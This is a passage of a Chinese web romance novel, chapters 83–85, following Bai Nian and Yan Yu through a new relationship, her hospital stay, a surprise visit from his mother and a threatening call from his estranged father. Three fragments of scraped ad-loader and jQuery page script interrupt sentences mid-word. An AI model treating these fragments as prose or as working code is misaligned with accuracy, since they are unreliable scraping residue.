大巴已经先行把其他同学送回了旅馆,索性这地方还能叫到网约车,司机已经打着双闪在她们面前停下来,严禹拉开车门,轻轻抱起她往后座上一放,刚直起腰,梁天心已经动作麻利地坐上了副驾,笑得很客气:“嘿嘿,你俩坐,你俩坐。” 严禹点头致谢,绕到另一侧坐上了后排,侧身过来给白念系上安全带,将重新灌满热水的热水袋放到白念手里,然后靠回自己的位置,没有说话。 白念偏头去看他,伸出手在他眼前晃了晃,被严禹面无表情地抓住手掌牵回热水袋上放好:“手又凉了。” 说完似乎想要把手收回去,但短暂地迟疑之后还是轻轻握着她的手,没有再放开。 白念彻底迷茫了。 直到下了车,被他一言不合地抱回了旅店放到床上,白念也没想明白他为什么不高兴了。 ——对,不高兴,虽然他话一直不多,表情也总是淡淡的,但白念就是这么觉得。 刚才还特地越过半个床位来拉近距离的开屏孔雀,此刻又恢复成了彬彬有礼的高岭之花。 梁天心搬了个小板凳放进浴室,让白念坐在上面艰难地洗完了被雨淋湿的头发,又匆匆擦了下身体。 虽然多有不便,热水冲刷之后到底还是舒缓了许多,白念被搀扶回床上坐好,拎着吹风机若有所思地吹着头发。 吹到一半,她放下手机,给严禹发了条微信。 n:睡了吗? 严禹:没有,怎么还不睡? n:你怎么了? 对面沉默了一会儿,正在输入的状态滚了半晌才有消息过来。 严禹:没什么,快睡吧,才退烧要好好休息。 白念“啧”了一声,盯着消息看了几秒,把屏幕戳得脆响。 n:出来一下。 梁天心也洗漱完毕,擦着头发走出来,听到她啧得响亮,好奇道:“怎么啦?” 白念放下手机,半笑不笑地挣扎着站了起来:“没什么,给有些人改改毛病去。” ——改改嘴硬的毛病。 梁天心连忙来扶她,白念摆摆手:“没事,你快去吹头发,别感冒了,我自己可以的。” 她膝盖上裹了厚厚的绷带,输完液上完药其实已经消肿了不少,只是行动起来有些笨重,加上严禹一言不合就把她抱起来,她也没机会反驳,此刻她单腿蹦蹦跳跳到了门边,一开门身形晃了晃,然后就落入了一个稳稳的胸膛。 “什么事?你的腿刚受伤。”严禹应该也是刚洗漱完,身上带着清爽好闻的沐浴香,混合着温热的体温和轻微的湿意,侵袭白念的感官。 她扶着他的手臂站稳,看了眼他温和平静的眉眼,抿了抿唇,松开他的搀扶向楼梯间蹦跶。 单腿人士甚至把反应不及的严禹甩在了身后,严禹后知后觉追了上去,在楼梯间里堵住了她,有点无奈又拿她没有办法地扶住她:“别乱动,明天腿更痛了。” 白念看了眼面前好像无论如何都平静得不得了的人,偏过头凝视着他的眼睛:“你不高兴。” 严禹语塞了半晌:“……我没有。” 白念撇撇嘴,扯着严禹的衣领想要让他转身,察觉到他的意图,男生乖乖配合,把后背转到她面前让她检查。 身高差距有点大,白念只能微微拉开一点衣领,幸好他换了身柔软宽松的衣服,让她能看个大概,厚厚的纱布覆盖在左肩上,沿着之前渗血的方向往衣服里延伸,纱布很干爽,看来他洗澡的时候也没碰水。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白念满意地收回手,然后就听到他猝不及防地来了一句:“不往下看了吗?” 白念:…… 他语气十分正经,只是刻意压低音量的嗓音沉沉,在凌晨一点多的楼道里显得有些沙哑,倒显得她想多了似的。 不想理他,白念又揪揪他的袖子让他转过身来,话题重新回到原点:“你不高兴。” 严禹没想到她这么锲而不舍,干脆垂下眼睛沉默,白念被气笑了:“行。” 她放开他的袖子,扶着墙转过身就要往回蹦,然后不出所料地被握住手腕拉住了脚步。 白念单腿站立的身形晃了晃,严禹干脆揽住她的腰一把带进自己的怀里,引导她双手环上自己的腰借力站稳,然后才沉沉开口:“是有一点,今天太晚了,我本来想让你早点休息的。” 白念额头抵着他因为说话而沉沉震动的胸腔,悄悄笑了一下,清了清嗓子:“为什么不高兴?” “……他有你的号码。”严禹的声音闷闷地从头顶传来。 这话说得让人摸头不着脑,白念愣愣地反应了两秒,恍然大悟:“刚刚我在医院门口给他发的短信?” “嗯。”严禹的声音带着些坦白的狼狈,这样毫无必要的吃醋好像从来不在他的行为准则里,显得他自己很没有道理。 白念埋在他怀里,没忍住“扑哧”笑出声来。 严禹有些懊恼,剩下的话就脱口而出:“我都没有你的号码,我已经是你……” ——是你男朋友了。 可是这件事发生得仓促又梦幻,短时间里发生了太多事情,周围又有太多的人,他一直没有机会也没有时间,去确认它是否真实。 他还没有实感。 白念这才明白,眼前这个沉默寡言的人,一晚上脑子里都在想什么,她又好气又好笑。 和江佑交换联系方式是因为网吧工作交接的缘故,而她和严禹,游戏里有万古令,学校里有微信,只要找他,无论什么方式都有回应,她也就自然而然忽略了这件事。 她松开环住他的手臂直起身来,掏出衣兜里的手机,郑重其事地将自己的号码发送到对方的微信里,然后开口:“你打给我。” 严禹依言照做。 这一段时间里,为了接听白晟林夫妻俩的电话,白念特地打开了铃声。 轻缓低沉的吉他和弦在楼道里响起的下一秒,白念就着屏幕里闪烁的号码,揪住严禹的衣领,满含笑意地吻了上去。 “知道了,男朋友。” 严禹遵从她的指示弯腰垂头,心甘情愿地溺死在这片柔软的安抚和确信中。 最初只是轻轻触碰,不同于山林间仓促干涸的触感,热水冲刷过后的唇瓣温热又柔软,白念浅尝辄止地轻啄一下,又啄一下。 随后白念睁开眼睛,带着清浅情意的眸光含着水汽,她轻轻勾唇:“这是坦诚相待的奖励。” 严禹环在她腰上的手臂紧了紧,下意识将她往前带了一下,白念猝不及防,“嘶——你慢点儿……” 然后她就感觉自己脚下一空。 严禹猛地揽着她的腿将她一把托起,把她的背抵在后面的墙上,声音喑哑:“这样还痛吗?” 白念两条细长的腿被迫借力搭在他腰际,不着地的姿势,痛是不痛了,只是极尽暧昧。 她却也不恼,微微勾唇,眸光在昏暗的楼道里明亮如星:“嗯,不痛了,只是……师兄,这一点儿也不像你。” 什么温润端方,什么行止有礼。 “嗯,我就是吃醋了,”严禹毫不否认,如墨的眼神沉沉地与她对视,“我来取我的奖励。” 他手上一用力,将白念托举到他下颌的高度,然后垂下头来,重重地重新吻了上来。 这一次再不是浅尝辄止,他进攻性极强地撬开白念的唇,引来白念瞪大眼睛,随后就被更深沉又凶狠的触感拖入无法思考的空白,意识模糊地阖上眼帘,双臂圈上他的脖颈,再无反抗的气力。 轻浅的铃声终于在静谧又汹涌的楼道里停了下来,连同屏幕一起熄灭。 转角处矗立良久的影子终于随着光亮的消失暗了下去,有人缓缓抬起脚步,转身关上了房门。 83. 住院 第二天大家依旧起得很早,并未受到昨天夜里突发事件的影响。 看着梁天心在浴室里洗漱的背影,白念苦哈哈地坐在床上撑着脑袋:“我也想去……” 梁天心涂着防晒走过来,伸手安抚似的拍了拍她的头发:“安啦,司机师傅不是有事要下午才来接我们吗?只能走过去了,你的腿不方便,安心休息啊,我会给你拍视频的。” 道理白念都懂,但要让她在旅馆里待一天真的好难熬,她百无聊赖地往床上一躺:“唉——” 有电话突然打了进来。 白念揪过手机,有气无力地懒懒开口:“喂?” 严禹听出了她淡淡的哀怨,隔着手机轻笑了一声:“别不开心。” 白念翻了个身:“哦。” “起床洗漱吧。”他又说。 白念没反应过来:“啊?” 严禹被她呆愣的反应逗笑,又从嗓子里溢出一声浅笑:“刚去租了个车,我带你去。” 直到坐上车,梁天心依然还处于迷茫的状态,她戳了戳白念,小声叨叨:“这地方……有租车行吗?” 白念又伸出指尖戳戳严禹的手臂:“你去哪里租的车啊?” 严禹低头检查完车内的仪表和配置,抬起头来发动汽车,不紧不慢道:“找旅馆老板她老公借的。” “啊?”白念有点惊讶,“人家还真愿意啊。” “嗯,”严禹含笑着偏过头看了她一眼,“我给了他一个无法拒绝的条件。”[注1] 白念愣了愣,随即“扑哧”一笑,靠回了座位,和梁天心开始啃他上车后递过来的早餐。 窗外的景象开始后移,清晨的阳光洋洋洒洒地给小镇披上一层淡金色的暖意,看起来是阳光明媚的一天。 . 昨天的互动内容相对集中,今天安排的是自由活动,每个社团要了块场地支起个小黑板,孩子们对哪个活动感兴趣,就自己参与进来。 体育社附近围满了好动的小孩,把几个五大三粗的男生追得满操场乱跑;音乐社附近则大部分是乖乖搬个小板凳坐着唱歌的孩子,也有好奇心重的,举着手要学习哥哥姐姐手里的乐器;美术社就安静多了,几张桌子依次排开,桌边全是埋着头涂画的小萝卜头。 白念被严禹放到桌边,抬头便看见余游被张老师牵着蹦蹦跳跳往这边来,看见白念也在看她,余游兴奋地扬起手臂远远地冲她打招呼,严禹在她头顶弯着腰轻笑一声:“还真和你一个样。” 白念“唔”了一声:“她会成长得比我更坚韧。” “为什么?”他轻声问。 白念注视着往这边蹦跳的身影,脑海里闪过那些趴在她背上的呢喃和倾诉,衬托着朝她们走近的笑脸,突然觉得余游的细瘦的身影很像一颗旺盛生长的野草。 汹涌,热烈,又顽强。 尽管她们有着一样畸形的家庭,一样重男轻女的恶意,一样暗无天日的童年——她俩真的很像。 “因为她有一位义无反顾爱她的母亲。”白念语气淡然平静。 身后的人一时间没有说话,只是将手掌轻轻拢上她的肩膀,给予她无声的鼓励。 “余游说她原来的名字叫招娣,现在的名字是她母亲帮她改的,”白念说,“我想我知道她给孩子改名的原因了。” 严禹轻声接上:“自由。” 白念回望了一眼他无比通透的眼睛,心照不宣地笑了一下。 ——小鱼小鱼快快游,四面八方是自由。 “你们都会越来越好。”他说。 临近分别,余游紧紧攥着白念的衣角不肯撒手,对比旁边撒娇的孩子,她欲言又止的样子显得笨拙许多。 白念摸摸她的头发:“姐姐有空就会过来看你的,还有这个——” 她把自己包里自用的颜料和画笔都递给余游:“这是姐姐送你的礼物,下次来了我可要验收成果哦。” 小姑娘将东西紧紧抱在怀里,郑重其事地点点头:“好。” . 返程的三小时车程相比来时要安静许多。 精力再旺盛的一群青年人,经历了两天一晚的活动,此刻也都萎靡了下来,全都蔫嗒嗒地靠着椅背呼呼大睡。 梁天心很有眼见力地把白念身边的位置让出来:“学长你坐,你坐。” “谢谢。”严禹倒是不谦让,顺水推舟坐了下来,白念扭头看了眼跑得飞快的小梁同学。 梁天心坐在白念后面嘻嘻一笑:“省得某些人睡着了,学长还要隔着一排座位去扶。” 白念讪讪地摸摸鼻子,铁证如山,无可反驳。 “这次不用靠窗户了,”严禹偏过头来拍了拍自己的肩膀,眼角眉梢都是温润的笑意,“靠男朋友。” 他没有压低声音,一句轻飘飘的话让车里安静了一瞬,然后好几颗脑袋蠢蠢欲动想要扭回来吃瓜。 “小声点儿,”白念恶狠狠地给他塞上一只耳机,“睡觉!” 把人惹炸毛了,严禹收住笑意乖乖转过头去,就看见斜前方的常临回过头来看了他们俩一眼。 严禹面无表情地抬起眼睛和他对视,淡淡一瞥后没什么情绪地收回了视线,倒是常临被这一眼看得头皮发麻,心虚地缩了回去。 一路上再没有什么波澜,连往常笑嘻嘻直往白念跟前凑的江佑都没了存在感,跟在人群最后上了车,没有找她说话,径直跑到最后一排坐下,戴上耳机倒头就睡。 白念看着他从身旁面无表情地走过,白皙的眼下皮肤上一片明显的乌青,倒是稀奇地“咦”了一声:“他昨晚没睡觉?” 跟他一个房间的严禹没立刻回答,没什么表情地伸出手把白念的脸轻轻扳了回来,才不情不愿地回答:“睡了。” 白念“哦”了一声,没有再问。 严禹缓缓垂下眼帘。 昨晚白念手机屏幕亮起的间隙,他清楚地看到走廊里一闪而过的影子。他回房间时,江佑已经蒙着头躺下,当然算是睡了。 至于睡不睡得着……严禹偏头看了一眼低头找歌的白念。 不关他的事。 . 回到学校是下午三点多,白念拒绝了严禹一言不合就兴师动众的抱抱,坚持要自己蹦回宿舍。 开玩笑,车里八卦的目光已经快要在她头顶烧出个窟窿,回到晋大,那么多双好奇的眼睛还不得把她淹了。 看着自己被扒拉开的双手,严禹难得地陷入沉思,默默地看了一眼自力更生的白念:“我很拿不出手吗?” 白念呛咳一声,忽略他的自导自演,告别了梁天心以后,自顾自往前蹦哒,严禹收起玩笑的表情,伸手拿过白念抢走的背包,单手扶住她:“不逗你了,先别回宿舍,嗯?” “要去哪儿?”白念有点困惑。 严禹看了眼她包扎得匆匆忙忙的膝盖:“去一趟医院,拍个片子看看。” 白念看他语气温和,眼睛里却有着不容忽视的坚持和担心,终究还是没有拒绝:“好吧,那你的伤口也去重新处理下。” “好。”严禹眼睛里满溢温柔。 已经听过她太多次的拒绝,现在开始的每一次点头,都是她信任的开始。就像初探世界的小刺猬,也要学着张开自己蜷缩的柔软腹部。 这个贴切的比喻骤然从他脑海中冒出,严禹不由地轻笑了一声。 “笑什么。”白念调转方向,扶着他的手臂艰难地往网约车上车点蹦,停下来休息的间隙偏头看了她一眼。 严禹看了她渗出细汗的额头一眼,原本稳重端庄的人突然半蹲下来,一把将白念揽到了自己背上,没给她拒绝的机会就站起身来,大步迈开长腿跑了起来。 猝不及防被背起来往前跑,白念吓得一把圈住他的脖颈笑骂了一句:“你干什么呢?” “没笑什么。”严禹带笑的嗓音从傍晚的风里传来,带起白念飞扬的长发,像个冒冒失失的半大男孩,他在奔跑中回答:“突然觉得你很可爱。” 校门口有三三两两的学生向这对瞩目的恋人投来关注的目光,白念却突然不想管了,她的人生一路走来已经全是循规蹈矩。 她扬起脖颈闭着眼睛感受风从鼻尖轻轻拂过,突然粲然一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“你也是啊。” . “看下来骨头没什么损伤,放宽心,”医生看完片子,“不过肿得比较厉害,要是想要住院静养也行,这样好得快一些。” 白念看了眼严禹的眼睛,已经知道他要劝什么了,举手投降:“我住,但是章老师那边的项目怎么办?” “我做就行,”严禹对她的上道很满意,轻笑一声要来抱她,“先去开住院单。” 对方含笑的眼睛在她面前放大,深邃的眼尾带着些炫目的好看,白念清清嗓子避开他的目光,没有被男色冲昏头脑,“那不行,你帮我把笔记本带来,我在医院弄。” “好。”严禹很好说话,毕竟只要她答应了住院,什么都好商量。 他们来的还是上次白念痛经时来的这家医院,虽然是家私立医院,但是真的很近,可以让他们少受很多晚高峰的折磨。 严禹正在窗口缴费,被人轻轻拍了下肩膀:“小禹?” 他转过身去,身后是笑盈盈的赵祁,那位常年帮严老太太做体检的医生,他点点头问好:“赵叔?” 赵祁有点惊讶地往他手上的单子看了一眼:“怎么了这是?有事怎么不来找我?” 他不动声色地将打印着白念名字的缴费单往下一翻,指了指自己颈部外露的纱布:“没事,学校组织活动,磕了一下,来开点药。” 赵祁关心地多看了两眼,确定不是什么大问题以后又寒暄了几句,才挥手道别:“我赶着去开会,那你自己多注意啊。” “嗯,谢谢赵叔,”严禹点点头,突然叫住赵祁离开的脚步,“对了赵叔。” “什么事?”赵祁笑得很温和。 “别告诉我爸,”严禹顿了顿,露出一个轻快的笑,“你知道的,他话太多。” 赵祁哈哈一笑,轻轻拍了拍他的肩:“好好,你放心,哈哈,男孩子真是长大咯。” 严禹微笑着目送他离开,才抽出手中的单据继续缴费。 一切安顿好后,白念躺在病床上,看着护士端着工具过来给她重新包扎后转向严禹:“还有小伙子的伤口要处理是吧?要不就在你女朋友这儿吧,一起了。” “好。”严禹示意了下自己的伤口,护士拉开领子看了一眼,“哟,还有些渗血,我给你重新包一下啊。” 白念侧躺着,用手垫着自己的脸静静地看了一会儿,眼看着护士开始催促严禹脱掉上衣,她这才意识到什么,有些犹豫着开口:“要不要拉个帘子?” 一旁正等着严禹脱衣服的护士已经上了年纪,闻言看了眼这一路上很是亲密的小两口,调笑道:“怎么还害羞起来了?现在的小年轻不是都挺开放的吗?” 白念老脸一红,对上了严禹默默看过来的视线,灯光下他的眼眸幽深,里面有很多她看不懂的情绪,她不自在地眨了眨眼睛。 严禹微微勾了勾唇,伸出手臂,轻轻拉上了隔在两人之间的床帘,向护士解释道:“她脸皮薄。” 白念盯着雪白的天花板默默咬了咬牙,无法反驳。 眼前再次亮起,是严禹穿好衣服拉开蓝色的布帘,垂着眼睛看着她笑:“好了,肚子饿不饿,想吃什么?” 白念想了想:“我能出去吃吗?” “可以,”严禹面无表情,“我抱你出去。” “……”白念有气无力地躺回床上,“那你随便给我带吧。” 严禹失笑,俯下身来,伸出微凉的手指轻轻碰了碰她不自觉咬紧的下嘴唇:“别咬了,快破了……等你好一点再出去。” 哐当—— 白念还没点头,病房门突然被一把推开,进来个火急火燎的中年女人,穿着干练的职业套装,蹬着黑色的高跟鞋,急匆匆看向病房里:“阿禹,你赵叔叔说你受伤了,你没——” 然后女人火急火燎的发问戛然而止,瞪大了眼睛看向严禹弯腰与病床上女生凑得极近的画面,卡壳了。 严禹无奈地“啧”了一声,缓缓收回手指,慢条斯理地直起腰来,对着门口的女子喊道:“妈。” 白念眨了眨眼睛,脑子宕机了。 84. 跑腿费 床上的白念看一眼门口的女人,再看一眼身前的严禹。 门口的女人看一眼床上的白念,再看一眼床前的严禹。 两个人面面相觑了半晌。 最终还是唐雅这位见多了大场面的长辈率先动作。 她飞快地收起一进门那副十万火急的表情,迅速拢了一下自己有些散到耳前的披肩短发,又拉了拉跑开的外套,确认仪容都算得体之后,火速换上自己认为十分和善的笑容,三步并作两步走到白念床前拉起她的手:“这位是……” 她目光瞥向严禹,男生不紧不慢地介绍了句:“白念。” “小白是吧!”唐雅十分热情地开始寒暄,“这腿怎么打着石膏啊,是受伤了吗?不会是严禹这臭小子害的吧?伤得严重吗?要不要阿姨给你转个医院?我认识个朋友看骨科特别专业……你的脸色看起来有点苍白,是不舒服吗?” 白念眼睁睁看着这位外表优雅端庄的长辈攥着她的手不放,在这连珠炮似的一连串问候中欲言又止,硬是没找到插话的机会。 严禹:…… 他握拳抵唇轻咳一声,打断了唐雅慌不择路的尬聊:“妈。” 唐雅这才发觉自己反应有些过度,按捺住自己心里的好奇,终于克制地放开白念的手:“不好意思啊小白,你看阿姨第一次跟你见面,有点仓促……你还好吧?” 白念终于找回些猝不及防见家长的理智,她撑着手臂就要坐起来,严禹见状连忙伸手去扶,被她慌里慌张一把拍开。 唐雅默默移开了视线,没眼看。 “谢谢阿姨,”白念礼貌地笑了下,“我没什么事,休息几天就好了。那什么……您请坐?” “哎哎好,”唐雅找了个位置坐下,尽力让自己笑得慈祥,“抱歉啊,没打招呼就过来,打扰你们了。” 白念目光复杂地瞪了严禹一眼,略带尴尬地开口:“不打扰的。” 严禹唇角轻轻一弯,开口替她引走唐雅的注意力:“您怎么会过来?” 唐雅这才想起来自己是来干什么的。 她飞快地扫了一眼站在一旁的儿子,发现他好整以暇行动无碍,知道是自己没打听清楚,她解释了一句:“你赵叔叔跟我说看到你受伤在医院,我以为很严重呢,正好下班就顺路过来看看。” “不过我看着你没什么大事,”唐雅略带质疑地看了眼严禹,“怎么倒是小白有点儿严重呢?” “小学里有个孩子走失了,她上山救人受的伤。”严禹言简意赅地解释了一遍,丝毫没提自己受伤的原因。 “那得多危险啊,”唐雅听得轻轻吸了口气,对眼前这个大方礼貌的女孩又多了分好感,尽管心里有十二分的好奇,但是看了眼她还有些苍白的脸色,唐雅没再过多打扰,和善地开口,“那是得好好修养,我不吵你们了,吃饭没?晚点我让家里做好了送来,小白你安心休息,啊。” “不用了阿姨……”白念不想麻烦人,感激地笑了下,“太麻烦您,我自己点个外卖就行。” “不麻烦不麻烦,你只管休息就好。”唐雅摆摆手示意她安心,随后被严禹推着肩膀笑着送出了病房,“您快回家吧,这里有我。” 直到出了病房,唐雅才松了口气,小声道:“妈妈刚才表现怎么样?没吓到她吧?” 严禹看了眼在外头呼风唤雨的唐董事长,又回忆了一下她攥着白念手掌气势汹汹的场景,十分诚恳地评价道:“怎么说呢,不像来探病的。” “那像什么?” “像去菜市场档口吵架的。” “……”唐雅没好气地瞪了他一眼,“还不是你谈恋爱瞒着我,不然我怎么会毫无准备?” “她昨天才答应我,”严禹眼睛带着点笑意说道,“想等一等,不想把人吓跑。” 唐雅意外地抬起头看了自己的儿子一眼,从他眼里看到了她从未见过的温柔和耐心,眼眶蓦地有些发酸,她不动声色地把头扭向走廊玻璃外。 外面天色已经发暗,透明的落地窗在灯光照射下倒映出严禹的影子,宽阔的肩膀已经将她的身影完全覆盖,俨然是个沉稳男人的模样。 已经不是那个躲在她怀里寻求庇护的小孩了。 唐雅情绪缓了下来,才玩笑似的开口:“上次问你有没有喜欢的人还嘴硬呢。” “嗯,”严禹插着兜坦然地轻笑,“想通得有点晚,还好她给我机会。” 唐雅又一言难尽地看了眼自己一个劲傻乐的儿子:“妈妈以前还担心你不会谈恋爱。” 叮—— 电梯停在两人面前,严禹含笑着将她送进了门:“什么都不用担心,快回家吧。” 电梯门即将合拢,唐雅最后扬起声音叮嘱了一句:“好好对人家,别欺负人啊。” 语气里全是一个老母亲对儿子初恋的担忧。 严禹哭笑不得:“我会的。” . 半小时后,他拎着打包好的东西回到医院,一推开门,白念正有气无力地盯着天花板发愣。 他把床头升起,摆好小桌板,把东西一一铺开,把筷子递到白念手中,看着她呆头呆脑地接过来,忍不住上手揉了一把她的头发:“快吃饭。” 白念接过东西,随手夹了块排骨咬了一口,又抬起眼睛瞪他。 严禹啼笑皆非:“抱歉,我真的不知道她会来。” 白念惆怅地戳了戳炖得软烂的排骨泄愤:“我没生气,你妈妈她人挺好的……就是太快了,我有点反应不过来。” “嗯,她很喜欢你,”严禹点点头,诚恳地安慰道,“其实她比你还紧张。” 一边说话,他一边把离得远的椰子鸡挪过来了些,白念就着他的动作夹了一块鸡肉,突然想起什么:“对了,你妈妈不是说要让人送饭过来,你有没有告诉她不用了?” “说了,”严禹又揉了揉她想东想西瞎操心的脑袋,“放心吧,你不愿意的事我就帮你拒绝,我们慢慢来。” 白念刚把带着椰水清香的鸡肉放进嘴里,闻言顿了顿,心情随着他温柔的低语,瞬间从见家长的惆怅中抽离出来,又坠落进了另一个温软沉缓的氛围里。 她和他,刚在一起一天。 被打断的氤氲气息似乎又开始在安静的房间中蔓延。 严禹看了眼她蹭到嘴角的汤汁,喉结滚动了一下,还没有动作,白念的肚子突然冷不丁“咕”了一声。 白念有些尴尬地抬起头冲他笑,严禹无奈地勾了下唇,最终只是伸出手用拇指轻轻帮她揩拭了一下唇角:“快吃吧,一会儿凉了。” 她今天很累,她还饿着肚子,她需要赶快吃完去休息。 他这么想着,压下了许多莫名的念头。 吃完饭已经是晚上八点多,白念在严禹的帮助下蹦跶着完成了洗漱工作,然后往床上一躺,翻身看了眼坐在旁边八风不动的人:“你还不回学校吗?” 严禹闻言一挑眉:“这么急着赶我走?” 白念伸手戳了戳他的肩膀:“一会儿外面太冷了……我跟菲菲发了消息,等你回去让她帮我把笔记本送下楼,你明早带来给我。” “好。” “我还拜托她帮我拿了套换洗衣服,”白念一边回忆着有没有遗漏,一边叮嘱,“还有我的平板、我的手绘本……” “好。” 白念说得差不多了,冲他眨了眨眼睛:“应该没有遗漏了。” 他又耐心地点点头:“好。” “辛苦啦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,”白念不好意思地笑笑,“你也早点回去休息,记得洗澡时伤口不要碰水,路上小心一点。” 严禹依言站起身来,垂着眼睛看她:“就只有这些吗?” “还有什么?”白念愣了下。 严禹盯着她的眼睛似笑非笑:“没有别的事情了吗?” “哦!”白念看他的眼神,反应过来,噗嗤一笑,伸出手去捏捏他垂在床边的手指逗他,“明天见,我会想你的,师兄。” 严禹冲着最后两个字眯了眯眼。 昨天之前,他总觉得这个词是疏离客气的象征,但现在,每次听到她这么轻轻叫他,却有了不同的意味,就像晋云湖畔那只小猫拖长了声音撒娇一半,古灵精怪,尾音轻巧,听起来像是心脏被轻轻挠了一下。 他凝视着白念轻笑着弧度美好的唇瓣,再开口声音就有些沉甸甸:“没了吗?” 白念抬起眼睛,透过顶上炫白的灯光憋着笑意看他:“真没了呀。” 背对着灯光,面容隐在暗里模糊不清的男生却没有反驳,他只是轻轻叹了口气,然后俯下身来,践行自己忍了一晚上的事情。 他反手握住白念拉着他手指把玩的双手,另一只掌心伸手拢住白念的头发,寻到她不饶人的唇轻轻咬了上去,然后才缓缓松开齿关,极尽温柔地轻啄她饱满的下唇。 “跑腿费。”他与她鼻尖相抵,眼睛里全是笑意。 . 暗夜彼端,晋城东南溪山,唐氏老宅。 唐雅刚刚洗完澡,正准备擦干,手机来电铃声响起,她单手捏着毛巾擦着头发走到桌边,拿起手机,手上动作一顿。 【严季淮】 她面无表情地挂断。 铃声又锲而不舍地再次追了上来。 她沉沉地吞咽一下,才接起来,声音很冷:“干什么?” “阿雅,”电话那头的男人笑得很温和,“怎么挂我的电话?” “有事说事,没空跟你闲聊。” “呵呵,阿禹现在的性子跟你很像,我都有点怀念他小时候听话的样子了。”严季淮的笑声从嗓子里滚出来,透过信号砸在唐雅耳朵里,她指关节猛然收紧,攥出青白的颜色。 “你想干什么?” “别紧张,我不喜欢强迫人,你知道的,”严季淮还是笑,“当初离婚时我就说过,你们尽管跑,我喜欢别人最后心甘情愿臣服的感觉……” “严季淮,”唐雅冷冷应道,“你以为我还是当初那个我吗?” “我知道,我知道,”男人的语气几乎带上了温柔和哄的意味,“你不是天真的千金小姐,是威风凛凛的唐董事长了,我的阿雅变得厉害了。” 这样柔情的语气如同淬了毒的蜜糖,让唐雅胃里一阵翻涌,她将手机拿远:“没空听你废话,滚吧。” “别挂啊,”严季淮已经预感到她的动作,“听说阿禹谈恋爱了?” 唐雅手上动作猛地一滞,掌心的血液像凝固了一般,冰凉的冷意从指尖传来:“你查他?” “看来是真的了,”严季淮半真半假地叹了口气,“儿子要开启新生活了,没有父亲的见证……这怎么行呢?” “严季淮你个王八蛋!”唐雅冷静了半晌,骤然被触及逆鳞,有些失控地吼了出来,“不要碰他们!” “呵呵……”严季淮听着她暴怒的声音,如同享受一般地深吸一口气,回味道,“我还是喜欢你充满生机的样子。” “有什么事冲我来,你不是最喜欢用那些东西威胁我么?”唐雅忍住怒意挑衅他。 “不不不。”那头传来愉悦的笑声,连同后面的话劈头盖脸向唐雅苦苦守护的东西砸来。 “阿雅,我找到更有趣的事情了。” 85. 示弱 接下来的日子,白念进入了老老实实的养伤状态。 她在病床上躺了好几天,连带着章教授那边的项目也是抱着笔记本完成的,所幸她和严禹两个人效率都高,掐着deadline的节点在周四下午把东西交了出去。 “晚饭我自己解决吧,你休息一下,这几天辛苦了。”白念坐在床边打电话,一边晃了晃自己的小腿,已经恢复了大半,基本上可以自己活动了。 这几天严禹学校医院两头跑,一日三餐地过来陪她吃饭,快速吃完就要赶回学校做项目。虽然他没告诉白念,但是她多少能猜到,章教授那边要求绝对没这么轻松,大概是他自己一个人揽下来做完了,不然不至于吃饭的时间都那么赶。 但是一问就是没事,让她好好休息。 “我没事,”严禹那边好像已经在收拾东西了,背景里有轻微的噪音和章教授说话的声音,“一会儿就过来。” “我自己真的可以的……”白念无意识地扣着手机后盖,想把他劝回去休息。 听筒里的环境噪音突然低了下来,似乎是严禹走到了一个安静的角落,然后声音很低很快地说了一句:“有点想你。” 声音里带着加了几天班的微微沙哑。 白念说不出反驳的话了。 这个人打起直球来时常让她招架不住。 “好吧。” 对面如愿以偿,语气都轻快了起来:“一会儿见。” 听筒里传来脚步声,随后是章教授的声音响起:“阿禹走了啊?” “嗯,”严禹在电话里回答他,“明天请个假,有事。” “去吧去吧,这几天辛苦了。”章教授大手一挥,顺嘴问了句,“干嘛去呀,心情这么好?” “接女朋友出院。”严禹轻描淡写地扔下一句惊天大瓜,然后提着电脑包走出了办公室。 “哦,是该请个假……”章以苓下意识喃喃道,随后猛地抬起头来,“哎不是?你小子等会儿!?” 奈何人已经走远了。 电话这头的白念默了一默:“……章老师知道我在住院。” “嗯,”严禹重新把电话拿起来,“让他猜去吧,省得一天给我找麻烦,都没时间陪你。” 白念在电话这边无声地轻笑了下:“那我等你。” . 严禹过来的时候,护士正在帮白念换绷带。 “目前膝盖基本消肿了,不过回去还是注意休息哈,避免伤膝盖的剧烈运动。”护士笑着叮嘱完以后,麻利地收起东西,“好啦,出院以后要是有什么不适的地方即使过来处理就好,年轻人恢复能力还是不错的。” 白念的出院时间定在明天上午。 “好的,谢谢您。”她冲着这个温柔细心的姐姐送上一个感激的笑,然后看了看自己卸去重重绷带的膝盖,轻轻动了动,大大地松了口气。 终于恢复行动能力了……她这几天在床上待得都要发霉了。 见到严禹提着东西进门,她马上跳下床去想要接过他手里的袋子,然后被他举起手臂轻而易举地躲过:“我来就好,小心膝盖。” “……”刚想放飞一下的白念瞬间又蔫巴下去,被他扶着往床上一放,“哦。” 看她一副闷坏了的样子,严禹安抚地揉了揉她的头发:“别不开心,再静养两天。” 白念正在拆热气腾腾的打包盒,闻言手上动作顿了一下,突然觉得他的语气像是在哄小孩。 她后知后觉地发现自己在他面前的情绪越来越外露了,有些小尴尬地找补了一句:“也没有不开心。” 严禹侧过脸不动声色地看了她一眼,嘴唇轻轻勾了一下,没有拆穿她的欲盖弥彰。 今天不用赶着吃完饭加班画图,两个人终于能不疾不徐地坐下来好好吃顿饭。 吃到一半,白念的手机响起提示音,她拿过手机看了一眼,是万古令发来的官方提醒。 【温馨提示:亲爱的玩家您好,检测到您已经三天未登录,玩家怀孕期间超过三天不进行宝宝培育,系统将会随机扣除宝宝已有的成长属性点,请尽快上线进行相关任务哦~】 白念:…… 她已经无力吐槽这个生育系统了,合着要是爹妈不负责任,将来养出来的娃说不定还是个战五渣? 严禹正夹了块蒸得粉糯的芋头放进她的碗里,大约是她的表情太过一言难尽,他偏过头问了句:“怎么了吗?” 白念面无表情地把消息界面举到他面前,严禹快速扫了一遍,挑了挑眉:“这几天差点忙忘了,吃完饭正好有时间去看看。” “嗯。”白念咬了一口芋头,下意识吐槽道,“这个生育系统做得也太真情实感了,每天都要安胎,不同阶段用的培养道具还不一样,而且怀孕期间还不给离h——” 